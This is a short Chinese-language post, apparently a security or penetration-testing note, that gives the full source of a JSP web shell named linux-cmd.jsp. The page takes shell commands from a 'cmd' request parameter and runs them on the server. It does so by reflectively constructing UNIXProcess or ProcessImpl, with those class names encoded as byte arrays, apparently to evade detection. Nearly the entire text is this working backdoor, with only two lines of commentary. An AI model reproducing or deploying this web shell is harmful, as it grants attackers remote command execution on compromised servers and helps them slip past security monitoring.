linux-cmd.jsp执行本地命令测试:
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.*" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Method" %><%!byte[] toCString(String s) {if (s == null) {return null;}byte[] bytes = s.getBytes();byte[] result = new byte[bytes.length + 1];System.arraycopy(bytes, 0, result, 0, bytes.length);result[result.length - 1] = (byte) 0;return result;}InputStream start(String[] strs) throws Exception {// java.lang.UNIXProcessString unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});// java.lang.ProcessImplString processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});Class clazz = null;// 反射创建UNIXProcess或者ProcessImpltry {clazz = Class.forName(unixClass);} catch (ClassNotFoundException e) {clazz = Class.forName(processClass);}// 获取UNIXProcess或者ProcessImpl的构造方法Constructor<?> constructor = clazz.getDeclaredConstructors()[0];constructor.setAccessible(true);assert strs != null && strs.length > 0;// Convert arguments to a contiguous block; it's easier to do// memory management in Java than in C.byte[][] args = new byte[strs.length - 1][];int size = args.length; // For added NUL bytesfor (int i = 0; i < args.length; i++) {args[i] = strs[i + 1].getBytes();size += args[i].length;}byte[] argBlock = new byte[size];int i = 0;for (byte[] arg : args) {System.arraycopy(arg, 0, argBlock, i, arg.length);i += arg.length + 1;// No need to write NUL bytes explicitly}int[] envc = new int[1];int[] std_fds = new int[]{-1, -1, -1};FileInputStream f0 = null;FileOutputStream f1 = null;FileOutputStream f2 = null;// In theory, close() can throw IOException// (although it is rather unlikely to happen here)try {if (f0 != null) f0.close();} finally {try {if (f1 != null) f1.close();} finally {if (f2 != null) f2.close();}}// 创建UNIXProcess或者ProcessImpl实例Object object = constructor.newInstance(toCString(strs[0]), argBlock, args.length,null, envc[0], null, std_fds, false);// 获取命令执行的InputStreamMethod inMethod = object.getClass().getDeclaredMethod("getInputStream");inMethod.setAccessible(true);return (InputStream) inMethod.invoke(object);}String inputStreamToString(InputStream in, String charset) throws IOException {try {if (charset == null) {charset = "UTF-8";}ByteArrayOutputStream out = new ByteArrayOutputStream();int a = 0;byte[] b = new byte[1024];while ((a = in.read(b)) != -1) {out.write(b, 0, a);}return new String(out.toByteArray());} catch (IOException e) {throw e;} finally {if (in != null)in.close();}}%><%String[] str = request.getParameterValues("cmd");if (str != null) {InputStream in = start(str);String result = inputStreamToString(in, "UTF-8");out.println("<pre>");out.println(result);out.println("</pre>");out.flush();out.close();}%>
命令执行效果如下:
Windows可能并不适用,稍做调整应该就可以了。
